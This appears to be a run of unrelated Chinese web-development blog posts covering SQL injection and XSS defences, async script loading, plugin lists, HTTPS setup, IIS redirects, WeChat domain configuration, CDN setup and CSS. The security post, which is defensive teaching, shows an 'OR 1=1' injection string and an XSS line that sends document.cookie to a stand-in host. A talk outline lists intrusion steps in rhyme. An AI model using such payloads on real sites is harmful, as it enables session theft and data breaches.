互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
最近要做个简单的类似 CNZZ 和百度统计的统计器,不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。
参考了 CNZZ 的代码以后,在 Chrome 的控制台发现以下警告:
A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.
Paul Kinlan 给出了解释,是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM,建议改成 document.appendChild() 或 parentNode.insertBefore(),最好的例子就是 Google Analytics。
<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->
上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。
加了一些注释,便于理解,官方英文版。
(function (i, s, o, g, r, a, m) {
i['GoogleAnalyticsObject'] = r;
// console.log(window['GoogleAnalyticsObject']) // 'ga'
// console.log(i[r]) // undefined
i[r] = i[r] || function () { // i[r] 就是 window['ga'],定义了一个函数
(i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
},
i[r].l = 1 * new Date(); // 时间戳,写法等同于 new Date().getTime()
// console.log(i[r]) // window['ga'] 就是上面那个 function
a = s.createElement(o), // 创建一个 script 元素
m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本(文档中肯定至少已有一个脚本了)
a.async = 1; // 异步加载
a.defer = 1; // 兼容旧浏览器(我自己加的)
a.src = g;
m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
过程是:
创建了一个 <script> 元素,并异步加载 http://***/***.js;初始化了一个全局函数 ga;在 ga() 命令队列中添加了两条命令。
现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了,示例:
;(function () {
console.log(ga.q);
})(window);
简单补充下,async 是 HTML5 属性,使支持异步加载 JS 文件;defer 只支持 IE,作用类似。
测试异步只需要将 js 文件换成服务端页面,并人为设置 sleep 时间即可,阻塞式调用的话会在加载 js 时暂停后续页面的渲染。
收录了一些个人觉得不错的网页开发插件。
由于插件更新频繁,本页如有错误请指正,也欢迎告知更多功能强大、使用方便的插件。
插件 | 简介 | 备注 |
框架 | ||
jQuery | 最流行的 JS 框架 | 下载、中文文档、英文整合文档、中文整合文档,浏览器支持、来自 css88 的文档 官方建议 IE 6-8 使用 1.12.4 |
Angular、中文版 AngularJS (version 1.x) | 一套框架,多种平台同时适用手机与桌面 | MVC 架构,使得开发现代的单一页面应用程序(SPAs:Single Page Applications)变得更加容易 |
Vue.js | 是一套用于构建用户界面的渐进式框架。 | |
Bootstrap、中文版 | 简洁、直观、强悍的前端开发框架 | 英文文档、v3中文文档、v2中文文档、视频教程,主题和模板 |
jQuery UI | 为 jQuery 提供更丰富的功能 | 示例:Datepicker、Color Animation、Shake Effect |
功能 | ||
jQuery File Upload | jQuery 文件上传 | 英文文档 |
jQuery Cookie | 读取、写入和删除 cookie | 浏览器支持,文档 |
json2.js | json 操作库 | 已弃用,旧 IE 用 jQuery 的 parseJSON,HTML 5 用 JSON.parse |
Lightbox | 老牌图片浏览插件 推荐使用更强大的 Viewer.js | |
Swiper、中文版 | 最现代的移动触摸滑块(Most Modern Mobile Touch Slider) | 英文文档,中文文档,旧浏览器支持版本:2.x.x,Swiper 2 英文文档,中文文档 |
jquery-cropper | 图片裁剪 | |
FastClick | 用于消除手机浏览器上触摸事件触发之间的 300 毫秒延迟 | 用法,不应用的场景 |
PACE | 页面加载进度条 | 文档,IE8+ |
toastr | jQuery 通知 | 文档 |
Autosize | 一款小巧的,可自动调整 textarea 高度的独立脚本 | IE9+ |
X-editable | 允许您在页面上创建可编辑元素 | 文档,Demo |
select2 | 一款提供搜索过滤、自定义样式的下拉框插件 | |
jQuery Tags Input | 标签输入框 | 用法 |
Viewer.js | 图片浏览插件 | GitHub(viewerjs)、GitHub(jquery-viewer) jquery-viewer 是 viewerjs 的 jQuery 插件,即在 jQuery 环境中要同时引用这两个脚本。 |
PDF.js | A general-purpose, web standards-based platform for parsing and rendering PDFs. | |
编辑器 | ||
UEditor | 百度在线编辑器 | GitHub 下载、文档、ASP.NET 部署教程 |
日期时间 | ||
bootstrap-datepicker | Bootstrap 日期选择器 | Online Demo |
DateTimePicker | 日期时间选择 | |
MultiDatesPicker | 多日期选择 | |
FullCalendar | 日历日程事件工作表 | IE 9+, jQuery 2.0.0+ |
TimeTo | 计时、倒计时 | |
图表 | ||
D3.js | D3.js 是基于数据驱动文档工作方式的一款 JavaScript 函数库,主要用于网页作图、生成互动图形,是最流行的可视化库之一。 | |
Highcharts、中文版 | 兼容 IE6+、完美支持移动端、图表类型丰富、方便快捷的 HTML5 交互性图表库 | 文档 |
ECharts | 百度图表控件 | |
AntV | 来自蚂蚁金服的专业、简单、无限可能的可视化解决方案 G2 - 专业易用的可视化类库 G2-mobile - 移动端高性能可视化类库 G6 - 关系图可视化类库 | 流程图, 关系图, 可视化规范, 地图, 河流图, 力导图, 网络图, UML图, 业务流程图, 时序图 |
SyntaxHighlighter | 功能齐全的代码语法高亮插件(JS) | |
动态排名数据可视化 | 将历史数据排名转化为动态柱状图图表 开源代码,非插件,修改使用 | GitHub、视频教程、EV录屏、网页示例、视频效果 |
图标 | ||
Font Awesome | 完美的图标字体 | IE 8+,v3.2.1 支持 IE 7,进阶用法(定宽/边框/动画/旋转/叠加) |
Glyphicons | 图标字体 | 作为 Bootstrap 组件 |
Iconfont | 阿里巴巴矢量图标库 | 用户可以自定义下载多种格式的 icon,也可将图标转换为字体,便于前端工程师自由调整与调用 |
UI 框架 | ||
WeUI | 同微信原生视觉体验一致的基础样式库 | Demo、Wiki |
Apple UI Design Resources | 苹果用户界面设计资源 |
各位站长好:
根据苹果相关通知,从2017年1月1日起,所有上架AppStore的应用必须支持https协议。
仍然采用HTTP传输的站点APP,将无法在AppStore被用户下载使用,也无法进行升级更新等工作。
官方视频
https://developer.apple.com/videos/play/wwdc2016/706/
相关新闻
http://www.chinaz.com/news/2016/1028/602635.shtml
根据AppStore审核要求,站长需要在2017年1月1日之前,在APP服务器全面部署https。
尽管不升级支持https后果严重,但诸位也不必太过担心,马甲根据要求为各位提供一份服务器升级https的技术文档,供您参考。
https的优点:
1. 相对于http,https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告),同时可以提升网站的安全性。
2. iOS可以实现微信内部浏览器直接启动并打开App对应页面。
APP网站升级https步骤:
1. 为APP域名申请购买SSL证书(可选免费型);
2. 将SSL证书部署到APP站点。
https证书申请方法:
1. 进入阿里云(独立服务器客户可注册一个阿里云账号,无须购买阿里云主机)https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas
2. 购买https证书,选择免费类型,点击购买(无需实际付款)
3. 购买完成后,进入控制台-CA证书服务页面,找到证书订单,点击“补全”
4. 填写证书对应的域名信息,免费证书只能用于一个域名(请填写完整域名例如:test.magapp.cc 而不是 magapp.cc)
5. 继续补全证书信息,注意域名验证类型选择DNS,邮箱填写自己常用邮箱即可,稍后系统会往邮箱发送域名解析信息。
6. 下一步生成证书请求文件(CSR),这里建议选择“系统生成CSR”,点击右侧创建,创建完成后,点击提交审核,开始申请https证书。
7. 稍后系统会向邮箱发送一份该邮件,邮件包含需要在域名管理后台解析的信息。
8. 到域名管理后台添加新的域名解析,注意解析类型为CNAME
9. 添加新域名解析完成后,系统会对您的申请进行审核(审核时间在几分钟到几个小时不确定),如果审核成功系统会为你签发https证书,失败也会有相关原因说明,如果失败可根据提示重新申请。
10. https证书申请成功后,下一步就可以下载并部署到APP服务器。
11. 点击下载后,可以根据阿里云提供的部署文档,进行相关的服务器部署工作。
12. 部署完成后,验证是否部署成功
第一步:使用https协议访问域名是否能正常访问,例如 https://test.magapp.cc
第二步:在线检测域名是否满足苹果审核要求,网址为:https://www.qcloud.com/product/ssl.html#userDefined10
填写自己申请https的域名
如果域名检测各项满足会显示如下图所示
部署注意事项:
1. https使用的是443端口而不是默认的80端口,需要在wdcp安全管理-iptables开启443端口。
2. https免费证书有效期为一年,请各位站长作好记录,提前重新申请。
3. 站点从http转到https完全过渡需要一段时间,建议在部署时站点同时支持http和https。
4. 部署过程遇到任何问题,可联系您的专属运维人员。
MAGAPP技术部
IIS 中如果直接“停止”网站,那么打开页面时会显示不友好的“该页无法显示”等界面,如果特殊原因要求不能打开所有页面,但必须有一个友好提示“网站维护中”的页面,那么最土的办法是把网站的所有文件移出来,仅上传一个提示正在维护的网页,并保证是默认首页。其实有一个更加简单有效的解决方案:
在 IIS 中单击该网站,打开“URL 重写”,右侧“添加规则”,选择“空白规则”。名称可以是“网站维护中”,请求的 URL 选择“与模式不匹配”,使用“完全匹配”,模式填入我们的提示页面地址,如“maintaining.html”,操作类型“重定向”,重定向 URL 填入刚才那个页面地址,附加查询字符串不需要,类型选择“临时(307)”,点击右侧“应用”。
好了,该网站的任何请求都会引导到 maintaining.html,而不仅仅是首页的跳转。而且不需要移动网站文件,也保障了不会被人利用网站漏洞攻击篡改网站内容。
补充一点,如果你的 maintaining.html 中调用了网站中的图片、脚本、样式表等,那么需要把模式匹配的方式改为“正则表达式”,并填入正确的正则表达式,以保证这些文件都能被正常请求。
知其然,才能使其安——王震
常见的攻击手法
SQL 注入
文件上传
弱口令
Nday 攻击
XSS
社会工程学
等等……
被黑原因总结
不知道 | 不及时 | 不在意 |
不知道自用系统安全动态 | 不及时更新系统安全补丁 | 不在意个人信息安全 |
不知道常见黑客攻击手段 | 不及时修复漏洞 | 不在意用户数据安全 |
不知道该如何修复 | 不及时排查被黑系统 | 不在意各种安全软件提示、提醒 |
不知道今后该如何防御 | 不在意细节 |
那些年,醉人的“三字经”
网站渗透娱乐版 | 针对企业的实战版 |
进谷歌 找注入 没注入 就旁注 没旁注 用0day 没0day 猜目录 没目录 就嗅探 爆账户 找后台 传小马 放大马 拿权限 挂页面 放暗链 清数据 |
搞企业 先扫描 默认密 都知道 社工库 找一找 邮箱号 先列好 九头蛇 跑一跑 搞不定 放大招 发邮件 凭伪造 没邮箱 搞网站 二级域 皆可爆 老漏洞 没修好 新漏洞 刷一票 干研发 Git 找 原代码 全都要 CDN 可以跳 防火墙 可以撬 堡垒机 可以绕 云防护 可以秒 是企业 没有哪家搞不了 |
攻击手法统计
Nday攻击:45%
漏洞攻击:35%
其他攻击:15%
0day攻击:5%
一些箴言
80%的安全问题都是已知的安全问题,但是能抵御已知安全问题的网站只有20%
弱口令虽然看起来很弱,但是忽视弱口令只会让你的网站变得更弱
没有百分之百的安全,你所做的一切不是为了让自己无坚不摧,只是让自己不再弱不禁风
80%的系统安全问题都是可以通过升级补丁来解决,但是能做到这点的人只有20%
SQL注入存在十几年了,依然是主流攻击手段,可见安全比的不是谁更先进,而是谁更细心
不要得罪你的开发人员,这就跟你吃饭不要得罪服务员一样,你不知道他下一秒会不会在你的菜里吐口水
还有一句
永远不要觉得你安装的安全防护软件真的可以保护你的安全
服务器安全注意事项
不安装不必要的软件
排查所有系统弱口令
关闭不常用的端口
控制目录权限
不在服务器上下载、打开非官方提供软件
不在服务器上打开他人发来的网页链接
如何排查暗链?
利用查看网站的源代码来检查黑链
使用站长工具“网站死链检测”功能来检查黑链
用 FTP 查看网站文件的修改时间来检查黑链
接入 webscan.360.cn 检测
后门排查
Windows 下,D 盾、安全狗、主机卫士
Linux 下,Seay 一句话扫描脚本、主机卫士 Linux 版
用 FTP 查看网站文件的修改时间来排查恶意后门
接入 webscan.360.cn 等在线检测
安全类书籍推荐
《Web 安全深度剖析》——张炳帅 著
《白帽子讲 Web 安全》——吴瀚清 著
《Web 前端黑客技术揭秘》——钟晨呜(余弦)著
《黑客攻防技术宝典 Web 实战篇》——国外某黑客 著
联系方式
在开发微信中的网页时,会遇到一些域名相关的配置:
① 公众号设置 - 功能设置 - 业务域名
② 公众号设置 - 功能设置 - JS接口安全域名
③ 接口权限 - 网页授权获取用户基本信息
④ 商户平台 - 产品中心 - 开发配置 - JSAPI支付授权目录
⑤ 小程序 - 开发 - 开发设置 - 业务域名
⑥ 公众号开发 - 基本设置 - IP白名单
第①种 业务域名:相对不重要,只是用来禁止显示“防欺诈盗号,请勿支付或输入qq密码”提示框,可配置 3 个二级或二级以上域名(个人理解是“非顶级域名”,即填写了 b.a.com 的话,对 c.b.a.com 不起作用,待测)。
我们网站的域名和公众号是没有绑定关系的,那么你在打开一个(可能是朋友分享的)网页时,跟哪个公众号的配置去关联呢,答案是 JS-SDK。
测试结果:由于一个月只有3次修改机会,这次先测二级域名,有效;再测顶级域名,有效;删除所有,仍有效。所以应该是缓存作用。过几天再试,然后下个月先测顶级域名,来确定直接填写顶级域名是否对所有二级域名有效。
第②种 JS接口安全域名:是配置所配置的域名下的网页可调用 JS-SDK。可配置 5 个一级或一级以上域名(个人理解是“任何级域名”,即填写了 b.a.com 对 c.b.a.com 也有效,但对 c.z.a.com 无效,待测。如果我们拥有顶级域名对应网站的控制权(上传验证文件到网站根目录),直接填写顶级域名即可)。
使用 JS-SDK 的每个网页都必须注入配置信息(wx.config),而之前必须获取 jsapi_ticket,jsapi_ticket api 的调用次数非常有限,必须全局缓存。而获取 jsapi_ticket 之前必须先获取 access_token,同样需要全局缓存。所以,我们专门做个接口,功能是传入需要使用 JS-SDK 的网页的 url,输出 wx.config 需要用到的配置信息,来实现在不同网页(网站)使用 JS-SDK。
第③种 网页授权域名:这是已认证的服务号才能享有的特权,主要作用是获取用户在该服务号中的 openid 和 unionid。可配置 1 个 2 个回调域名(可填写任意级别的域名,但仅对该域名的网页(网站)有效,若填写了 a.com 对 b.a.com 是无效的)。
因此,如果我们需要在不同二级域名甚至不同顶级域名下的网页(以下称之为活动页面)实现用户授权,需要做一个统一的代理授权页面(回调域名当然是填写这个页面所在的域名),引导用户依次打开:微信授权页面 - 代理授权页面 - 活动页面,根据开发说明文档,具体实现如下:
当用户第一次打开活动页面时,引导打开微信授权页面(https://open.weixin.qq.com/connect/oauth2/authorize),其中参数 redirect_uri 指定回调地址,即代理授权页面地址,参数 state 指定活动页面地址。微信授权页面返回 code 和 state,code 作为换取网页授权 access_token 的票据。到这一步,本来可以由代理授权页面直接拿这个 code 去换取 access_token、openid 和 unionid 了,但是由于当前用户还在 302 重定向过程中,将这些信息带入到活动页面时势必导致信息泄露,所以这里将 code 追加到 state 指定的网址上后重定向到活动页面,活动页面拿到 code 再通过服务器端向代理授权页面所在服务器请求 openid 和 unionid,并将它们保存于 Session 中视为用户登录。这样,服务号的 appid 和 secret 也能得到保护。代理授权页面请求的微信服务器接口地址是 https://api.weixin.qq.com/sns/oauth2/access_token。
注:网页授权 access_token 不同于 JS-SDK 中使用的全局唯一接口调用凭据 access_token,没有请求次数限制。
流程既然通了,实现逻辑可以这样设定:
活动页面首先判断 Session 中是否有 openid 或 unionid,若有表示已授权登录;没有再判断地址栏是否有 code 参数,若有则调用代理授权页面所在服务器的接口,用 code 换 openid 和 unionid;没有则直接重定向到代理授权页面,带上 state。用 code 换 openid 和 unionid 时若成功则保存至 Session,若失败则仍然重定向到代理授权页面,带上 state,特别注意 state 中的活动页面地址确保没有 code 参数。
第④种 JSAPI支付授权目录:涉及到微信支付时用到,顾名思义是固定某一个网站内的某个目录,以“/”结尾。最多可添加 5 个。如果支付页面在目录 https://www.a.com/b/ 下,那么可以填写 https://www.a.com/b/ 或 https://www.a.com/(建议后者),暂未测试填写 https://a.com/ 会不会起作用。涉及支付安全,建议设置支付页面的最深一层不可写的目录,以防目录内被上传后门文件带来的安全隐患。
第⑤种 小程序业务域名:任何需要在小程序的 web-view 组件中打开的网页,都必须配置小程序业务域名,限制 20 个。该域名要求必须 https,可填入“任何级域名”(建议填顶级域名,即填写了 a.com 对 b.a.com 也有效。如果我们拥有顶级域名对应网站的控制权(上传验证文件到网站根目录),直接填写顶级域名即可)。
第⑥种 IP白名单:仅填写管理全局 access_token 的中控服务器的 IP。
总结:在上述自定义接口部署完成后,如果微信中的网页想获取用户的 unionid,则不需要配置域名,直接使用统一的代理授权即可;如果需要使用 JS-SDK 功能,如分享、上传等等,则需要配置 JS 接口安全域名;如果有表单,最好配置一下业务域名。
本文系个人经验总结,部分结果未经证实,欢迎指正!QQ:940534113
一、在 OSS 中新建一个 Bucket,获得一个 OSS 域名(外网域名例:bucketname.oss-cn-hangzhou.aliyuncs.com)
此时不需要绑定自己的域名,如果我们的域名绑在 OSS 上,产生的费用会比绑在 CDN 上高许多。
二、在 CDN 中添加新域名,加速域名就是自己的域名(如:cdn.xoyozo.net),业务类型是“图片小文件”,源站类型是“OSS 域名”,把刚才的 OSS 域名复制到此处。
三、此时管理这个 CDN 域名可以看到域名信息中的“源站设置”,类似:bucketname.oss-cn-hangzhou.aliyuncs.com,这样只实现了 CDN 的效果,我们把它修改为 bucketname.img-cn-hangzhou.aliyuncs.com,这样我们就可以在使用图片时通过添加 @ 符号的方式任意获取缩略图了。
四、同样能在这个页面看到 CNAME 有一个类似 cdn.xoyozo.net.w.kunlun*.com 的域名,将我们的 cdn.xoyozo.net 作 CNAME 解析到这个域名上即可。
这样,在 OSS 上的一张图片,如:http://bucketname.oss-cn-hangzhou.aliyuncs.com/abc/123.jpg 就可以通过 http://cdn.xoyozo.net/abc/123.jpg@100w_100h_90Q.jpg 的方式来获取指定缩略图了。
有个案例:一张矩形照片头像要用圆形加边框的方式显示到页面上,并且当鼠标移到上面时,边框不动,图像会在边框内部渐变放大一些。
很容易地,我们想到这样的布局:
<style>
#div_face { width: 100px; height: 100px; border: 3px solid #CCC; border-radius: 50%; overflow: hidden; }
#div_face img { width: 100px; height: 100px; transition: all .5s ease-out; }
#div_face img:hover { transform: matrix(1.04,0,0,1.04,0,0); }
</style>
<div id="div_face">
<img src="/App_Themes/2016/images/temp.jpg" />
</div>
可是……渐变过程中竟然变回矩形了,动画结束又恢复正常。于是改进了一下:
<style>
#div_face { position: relative; width: 100px; height: 100px; border: 3px solid #CCC; border-radius: 50%; overflow: hidden; z-index: 1; }
#div_face img { width: 100px; height: 100px; transition: all .5s ease-out; z-index: 0; }
#div_face img:hover { transform: matrix(1.04,0,0,1.04,0,0); }
</style>
搞定!